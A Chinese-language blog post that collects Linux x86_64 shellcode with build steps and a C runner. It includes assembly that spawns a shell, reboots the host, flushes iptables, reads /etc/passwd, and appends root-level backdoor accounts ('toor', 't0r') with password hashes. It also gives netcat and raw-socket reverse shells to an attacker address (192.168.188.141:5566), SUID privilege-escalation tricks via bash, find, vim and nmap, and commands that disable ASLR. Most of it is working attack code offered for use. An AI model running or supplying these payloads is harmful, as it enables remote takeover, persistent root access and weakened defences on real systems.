shellcode_linux_x86_64

[TOC]

本文是我的另一篇文章的精简版,删除了参考文章,以及一些额外的解释,只保留了最关键的部分。如想学习写shellcode,可以去阅读 Linux_shellcode开发之实战

0. README

下列文章中的汇编代码,用下面的命令编译运行:

1
2
3
$ nasm -f elf64 fileName.asm 
$ ld -m elf_x86_64 fileName.o -o fileName
$ ./fileName

注意:这里和下面的 fileName,都要用实际相应的文件名替换。

用下面这串命令,来自动提取机器码:

1
for i in $(objdump  -d fileName.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo 

注意:提取出的机器码放在 c语言代码的 shellcode[] 这个常量数组中。

1
2
3
4
5
6
7
8
9
10
11
//fileName.c
#include <stdio.h>
#include <string.h>

int main()
{
const char shellcode[] = "/*将机器码放在这里*/";
//当shellcode包含空字符时,printf 将会打印出错误的 shellcode 长度
printf("Shellcode length: %d bytes\n",strlen(shellcode));
(*(void(*)())shellcode)();
}

搭建好的 c语言代码,用下面的命令编译运行:

1
2
$ gcc fileName.c -o fileName -z execstack -z norelro -no-pie -g
$ ./execve_sh64

以下,只提供汇编代码,相应参数我会在代码头做相应注释。

1. 打开 terminal

0x1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
; execveSh64_30.asm
; length = 30 bytes
global _start
section .text

_start:
; execve("/bin/sh", ["/bin/sh"], NULL)
; rax = 0x3b, rdx= NULL, rdi = '//bin/sh', rsi = '//bin/sh'
xor rdx, rdx
mov qword rbx, '//bin/sh' ; 0x68732f6e69622f2f
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall

0x2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
; execveSh64_28.asm
; length = 28 bytes
global _start
section .text

_start:
xor rcx, rcx
mul rcx

add al, 0x3b ; execve()
mov rbx, 0x68732f2f6e69622f ; hs//nib/

; Argument one shell[0] = "/bin//sh"
push rdx ; null
push rbx ; hs//nib/

; We need pointers for execve()
push rsp ; *pointer to shell[0]
pop rdi ; Argument 1

; Argument two shell (including address of each argument in array)
push rdx ; null
push rdi ; address of shell[0]

; We need pointers for execve()
push rsp ; address of char * shell
pop rsi ; Argument 2

syscall

0x3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
;execveSh64_27.asm
global _start
section .text

_start:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall

关于汇编语言中cdq指令作用解惑

cdq的作用无非就是将一个32位有符合数扩展为64位有符合数,数据能表示的数不变,具体是这样实现的,比如eax=fffffffb(值为-5),然后cdq把eax的最高位bit,也就是二进制1,全部复制到edx的每一个bit位,EDX 变成 FFFFFFFF,这时eax与edx连起来就是一个64位数,FFFFFFFF FFFFFFFB ,它是一个 64 bit 的大型数字,数值依旧是 -5

2. 重启 reboot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
; execveReboot.asm
global _start
section .text

_start:
; execve("/usr/sbin/reboot", ["/usr/sbin/reboot"], NULL)
; rax = 0x3b, rdx= NULL, rdi = '/usr/sbin/reboot', rsi = '/usr/sbin/reboot'
xor rdx, rdx
push rdx
mov rbx, 'n/reboot'
push rbx
mov rbx, '/usr/sbi'
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall

3. 关闭防火墙(清空 iptable)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
; clearIptable.asm
; 注:需要root权限
section .text
global _start

_start:
xor rax, rax
push rax
push word 0x462d
mov rcx, rsp

mov rbx, 0x73656c626174ffff
shr rbx, 0x10
push rbx
mov rbx, 0x70692f6e6962732f
push rbx
mov rdi, rsp

push rax
push rcx
push rdi
mov rsi, rsp

; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL);
mov al, 0x3b
syscall

4. passwd

4.1 读取 passwd

cat 读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
; catPasswd.asm
; execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)

global _start
section .text

_start:

xor rax, rax ; Zeroes out RAX.
xor rbp, rbp ; Zeroes out RBP.

push rax ; Pushes RAX's NULL-DWORD.

mov rbp, 0x6477737361702f63 ; Moves value "dwsspa/c" into RBP.
push rbp ; Pushes the vaueof RBP into the Stack.

mov rbp, 0x74652f2f2f2f2f2f ; Moves value "te//////" into RBP.
push rbp ; Pushes the vaue of RBP into the Stack.

mov rbp, rsp ; Copies the value of the Stack into RBP.
push rax ; Pushes RAX's NULL-DWORD.

mov rbx, 0x7461632f6e69622f ; Moves value "tac/nib/" into RBX.
push rbx ; Pushes the vaue of RBX into the Stack.

mov rbx, rsp ; Copies the value of the Stack into RBX.

mov rdi, rsp ; Copies the value of the Stack into RDI.
push rax ; Pushes RAX's NULL-DWORD.

mov rdx, rsp ; Copies the value of the Stack into RDX. As the previous DWORD was completely NULL, RDX is set to 0.

push rbp ; Pushes the vaue of RBP into the Stack.
push rbx ; Pushes the vaue of RBX into the Stack. The full string should be "cat /etc/passwd".

mov rsi, rsp ; Copies this entire string from the Stack into RSI.

push word 59 ; Pushes the value 59 (syscall value for execve in the x64 format).
pop ax ; Pops this value into AX so there are no NULLs.
syscall ; The syscall is executed.

系统调用读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
; readPasswd.asm
global _start
section .text

_start:
jmp _push_filename

_readfile:
; syscall open file, 0x2
; open('/etc/passwd', O_RDWR), O_RDWR=0x2
pop rdi ; pop path value
xor rax, rax
add al, 2
xor rsi, rsi ; set O_RDWR flag
syscall

; syscall read file, 0x0
; read(fd, buf, 0xfff), rdi=rax=fd(fd is open's return number)
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff; size to read
xor rax, rax
syscall

; syscall write to stdout, 0x1
; write(fd, buf, 0xfff)
xor rdi, rdi
inc rdi ; set stdout fd = 1
mov rdx, rax
xor rax, rax
inc rax
syscall

; syscall exit
xor rax, rax
add al, 60
syscall

_push_filename:
call _readfile
path: db "/etc/passwd"

4.2 写入 passwd

0x1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
; addRootUser.asm
; 注:需要root权限
; Action: Adds a user into /etc/passwd with the following information
; username: toor
; password: toor
; uid: 0
; gid: 0
; home: /root
; shell: /bin/sh
;
; toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh

global _start

section .text

_start:
jmp _push_filename

; #define __NR_open 2
; int open(const char *pathname, int flags);
; rax -> 2
; rdi -> /etc/passwd
; rsi -> 0x401
;
; >>> hex(os.O_WRONLY ^ os.O_APPEND)
; 0x401
_openfile:
pop rdi ; rdi -> /etc/passwd
xor rax, rax
xor rsi, rsi ; rsi to zero
mov si, 0x401 ; rsi -> O_WRONLY|O_APPEND
add al, 0x2 ; rax -> 2 (open)
syscall ; open

xchg rdi, rax ; save returned fd
jmp short get_entry_address ; start jmp-call-pop

write_entry:
; #define __NR_write 1
; ssize_t write(int fd, const void *buf, size_t count);
; rax -> 1
; rdi -> results of open syscall
; rsi -> user's entry
; rdx -> len of user's entry
pop rsi ; end jmp-call-pop, rsi -> user's entry
push 0x1
pop rax ; rax -> 1
push 38 ; length + 1 for newline
pop rdx ; rdx -> length of user's entry
syscall ; write

; #define __NR_exit 60
; void _exit(int status);
; rax -> 60
; rdi -> don't care
push 60
pop rax
syscall ; OS will handle closing fd at exit

get_entry_address:
call write_entry
user_entry: db "toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh",0xa

_push_filename:
call _openfile
path: db "/etc/passwd"

0x2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
; addRootUser_tor.asm
; 注;需要root权限
;Purpose: adds user "t0r" with password "Winner" to /etc/passwd
;executed syscalls: setreuid, setregid, open, write, close, exit
;Result: t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash
;syscall op codes: /usr/include/x86_64-linux-gnu/asm/unistd_64.h

section .text
global _start
_start:
;sys_setreuid(uint ruid, uint euid)
xor rax, rax
mov al, 113 ;syscall sys_setreuid
xor rbx, rbx ;arg 1 -- set real uid to root
mov rcx, rbx ;arg 2 -- set effective uid to root
syscall

;sys_setregid(uint rgid, uint egid)
xor rax, rax
mov al, 114 ;syscall sys_setregid
xor rbx, rbx ;arg 1 -- set real uid to root
mov rcx, rbx ;arg 2 -- set effective uid to root
syscall

;push all strings on the stack prior to file operations.
xor rbx, rbx
mov ebx, 0x647773FF
shr rbx, 8
push rbx ;string \00dws
mov rbx, 0x7361702f6374652f
push rbx ;string sap/cte/
mov rbx, 0x0A687361622F6EFF
shr rbx, 8
push rbx ;string \00\nhsab/n
mov rbx, 0x69622F3A746F6F72
push rbx ;string ib/:toor
mov rbx, 0x2F3A3A303A303A67
push rbx ;string /::0:0:g
mov rbx, 0x46556B554B587435
push rbx ;string FUkUKXt5
mov rbx, 0x546755333A723074
push rbx ;string TgU3:r0t

;prelude to doing anything useful...
mov rbx, rsp ;save stack pointer for later use
push rbp ;store base pointer to stack so it can be restored later
mov rbp, rsp ;set base pointer to current stack pointer

;sys_open(char* fname, int flags, int mode)
sub rsp, 16
mov [rbp - 16], rbx ;store pointer to "t0r..../bash"
mov si, 0x0401 ;arg 2 -- flags
mov rdi, rbx
add rdi, 40 ;arg 1 -- pointer to "/etc/passwd"
xor rax, rax
mov al, 2 ;syscall sys_open
syscall

;sys_write(uint fd, char* buf, uint size)
mov [rbp - 4], eax ;arg 1 -- fd is retval of sys_open. save fd to stack for later use.
mov rcx, rbx ;arg 2 -- load rcx with pointer to string "t0r.../bash"
xor rdx, rdx
mov dl, 39 ;arg 3 -- load rdx with size of string "t0r.../bash\00"
mov rsi, rcx ;arg 2 -- move to source index register
mov rdi, rax ;arg 1 -- move to destination index register
xor rax, rax
mov al, 1 ;syscall sys_write
syscall

;sys_close(uint fd)
xor rdi, rdi
mov edi, [rbp - 4] ;arg 1 -- load stored file descriptor to destination index register
xor rax, rax
mov al, 3 ;syscall sys_close
syscall

;sys_exit(int err_code)
xor rax, rax
mov al, 60 ;syscall sys_exit
xor rbx, rbx ;arg 1 -- error code
syscall

5. 反向 shell

5.0 部署

【1】先在攻击端(kali: 192.168.188.141)输入以下命令。

image-20220817211511413

【2】然后在靶机端(Kylin:192.168.188.146)运行shellcode

5.1 netcat 命令行

由于 kylin 上原装的 netcat 是阉割版本,没有 -e 参数的,我们先需要安装完整版的 netcat。我将它安装在 /home/sakura/tools/netcat 目录下。

安装教程:这可能是netcat最全的使用指南

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
; netcatRevTcp.asm
; 注:以下参数需要根据您的电脑上netcat的安装目录重新配置,IP地址也需要重新配置。
;execve("/home/sakura/tools/netcat/src/netcat", ["/home/sakura/tools/netcat/src/ne"..., "-e", "/bin/sh", "192.168.188.141", "5566"], NULL) = 0

global _start
section .text
_start:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword rax, '5566AAAA'
push rax
mov qword rax, '188.141A'
push rax
mov qword rax, '192.168.'
push rax
mov qword rax, '/bin/shA'
push rax
mov qword rax, 'tcatA-eA'
push rax
mov qword rax, 't/src/ne'
push rax
mov qword rax, 'ls/netca'
push rax
mov qword rax, 'kura/too'
push rax
mov qword rax, '/home/sa'
push rax

xor byte [rsp+36], 0x41
xor byte [rsp+39], 0x41
xor byte [rsp+47], 0x41
xor byte [rsp+63], 0x41
xor byte [rsp+71], 0x41
xor byte [rsp+70], 0x41
xor byte [rsp+69], 0x41
xor byte [rsp+68], 0x41

xor rax, rax
mov rdi, rsp
push rax
lea rbx, [rdi+64]
push rbx
lea rbx, [rdi+48]
push rbx
lea rbx, [rdi+40]
push rbx
lea rbx, [rdi+37]
push rbx
push rdi
mov rsi, rsp
xor rdx, rdx

add al , 59
syscall

5.2 系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
; revTcp.asm
; 注:在17行和18行的ip地址需要根据实际环境重新配置
; 攻击端ip:192.168.188.141
; 攻击端 post:5566
global _start
section .text
_start:
;Socket
xor rdx, rdx ; zero out rdx
mov rsi, rdx ; AF_NET = 1
inc rsi ; rsi = AF_NET
mov rdi, rsi ; SOCK_STREAM = 2
inc rdi ; rdi = SOCK_STREAM
add ax, 0x29
syscall ; call socket(SOCK_STREAM, AF_NET, 0);

mov r12, rax
sub rsp,0x10
mov dword [rsp+0x4],0x8dbca8c0 ; ip = 192.168.188.141
mov word [rsp+0x2],0xbe15 ; post = 5566
mov word [rsp],0x2

; Connect = 0x2a
mov rdi, rax ; move the saved socket fd into rdi
mov rsi, rsp ; move the saved sock_addr_in into rsi
add dx, 0x10 ; add 0x10 to rdx
xor rax, rax
add ax, 0x2a
syscall ; call connect(rdi, rsi, rdx)

xor rsi, rsi ; zero out rsi

dup:
xor rax, rax
add ax, 0x21 ; move the syscall for dup2 into rax
mov rdi, r12 ; move the FD for the socket into rdi
syscall ; call dup2(rdi, rsi)

cmp rsi, 0x2 ; check to see if we are still under 2
inc rsi ; inc rsi
jbe dup ; jmp if less than 2

;sub r8, 0x1F ; setup the exec syscall at 0x3b
xor rax, rax
add ax, 0x3b ; move the syscall into rax

;exec
xor rdx, rdx ; zero out rdx
mov qword rbx, '//bin/sh' ; '/bin/sh' in hex
shr rbx,0x8 ; shift right to create the null terminator
push rbx

mov rdi, rsp
push rdx
push rdi ; move the command from the stack to rdi
mov rsi, rsp ; zero out rsi
syscall ; call exec(rdi, rsi, 0)

6. 提权方法

6.1 bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sakura@Kylin:~$ sudo chmod u+s /bin/bash
sakura@Kylin:~$ ll /bin/bash
-rwsr-xr-x 1 root root 1183448 6月 4 2021 /bin/bash*
sakura@Kylin:~$ bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1000(sakura) gid=1000(sakura) euid=0(root) 组=1000(sakura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),119(lpadmin),129(sambashare)
bash-5.0# ./addRootUser
bash-5.0# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
。。。。。。
toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh
bash-5.0#

6.2 nmap

判断nmap版本,nmap -v,如果版本在2.02至5.21之间,则可以提权

1
2
3
nmap> !sh
sh-3.2# whoami
root

6.3 find

1
2
3
4
5
6
7
sakura@Kylin:~$ sudo chmod u+s /bin/find
sakura@Kylin:~$ ll /bin/find
-rwsr-xr-x 1 root root 320160 4月 15 2020 /bin/find*
sakura@Kylin:~/文档$ touch anyfile
sakura@Kylin:~/文档$ find anyfile -exec whoami \;
root
sakura@Kylin:~/文档$
1
2
3
4
#进入shell
sakura@Kylin:~/文档$ find anyfile -exec "/bin/bash" "-p" \;
sh-5.0# whoami
root

6.4 vim

利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户

1
2
3
4
5
6
7
sakura@Kylin:~$ sudo chmod u+s /bin/vim.tiny
sakura@Kylin:~$ vim.tiny /etc/passwd
sakura@Kylin:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
、、、、
hello
sakura@Kylin:~$

7. 关闭 ASLR

配置选项

  • 0 = 关闭
  • 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
  • 2 = 全随机。除了1中所述,还有heap。

方法一: 手动修改randomize_va_space文件

1
# echo 0 > /proc/sys/kernel/randomize_va_space

注意,这里是先进root权限,后执行。不要问为什么sudo echo 0 > /proc/sys/kernel/randomize_va_space为什么会报错

方法二: 使用sysctl控制ASLR

1
$ sysctl -w kernel.randomize_va_space=0

这是一种临时改变随机策略的方法,重启之后将恢复默认。如果需要永久保存配置,需要在配置文件 /etc/sysctl.conf 中增加这个选项。

方法三: 使用setarch控制单个程序的随机化
如果你想历史关闭单个程序的ASLR,使用setarch是很好的选择。setarch命令如其名,改变程序的运行架构环境,并可以自定义环境flag。

1
setarch `uname -m` -R ./your_program

-R参数代表关闭地址空间随机化(开启ADDR_NO_RANDOMIZE)

方法四: 在GDB场景下,使用set disable-randomization off
在调试特定程序时,可以通过 set disable-randomization 命令开启或者关闭地址空间随机化。默认是关闭随机化的,也就是on状态。

当然,这里开启,关闭和查看的方法看起来就比较正规了。

关闭ASLR:

1
set disable-randomization on

开启ASLR:

1
set disable-randomization off

查看ASLR状态:

1
show disable-randomization